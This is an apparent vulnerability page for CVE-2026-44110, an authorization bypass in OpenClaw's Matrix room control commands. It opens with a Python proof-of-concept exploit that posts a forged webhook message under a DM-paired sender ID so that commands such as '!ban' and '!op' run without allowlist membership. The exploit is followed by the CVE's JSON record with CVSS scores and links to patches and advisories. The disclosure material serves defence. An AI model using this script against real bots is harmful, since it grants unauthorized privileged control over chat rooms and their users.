CVE-2026-44110

# Proof of Concept for CVE-2026-44110 # This script demonstrates how an attacker with a paired sender ID # can execute commands in a room without being in the allowlist. import requests def exploit_openclaw(bot_webhook_url, command): """ Exploit the authorization bypass vulnerability. :param bot_webhook_url: The API endpoint or simulated message trigger :param command: Command to execute (e.g., "!ban @user") """ headers = {'Content-Type': 'application/json'} payload = { "sender_id": "@attacker:example.com", # ID present in pairing-store "room_id": "!targetRoom:example.com", "body": command } try: response = requests.post(bot_webhook_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Command '{command}' executed successfully.") else: print(f"[-] Failed to execute command.") except Exception as e: print(f"Error: {e}") # Example usage # exploit_openclaw("http://openclaw-bot/api/message", "!op")

{"cve": {"id": "CVE-2026-44110", "sourceIdentifier": "[email protected]", "published": "2026-05-06T20:16:34.760", "lastModified": "2026-05-07T19:41:01.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.15 contains an authorization bypass vulnerability in Matrix room control-command authorization that trusts DM pairing-store entries. Attackers with DM-paired sender IDs can execute room control commands without being in configured allowlists by posting in bot rooms, potentially enabling privileged OpenClaw behavior."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.15", "matchCriteriaId": "AC46528C-7EA5-4D54-B26F-856F086D49D8"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/2bfd808a83116bd888e3e2633a61473fa2ed81b6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/f8705f512b09043df02b5da372c33374734bd921", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2gvc-4f3c-2855", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-in-matrix-room-control-commands-via-dm-pairing-store", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}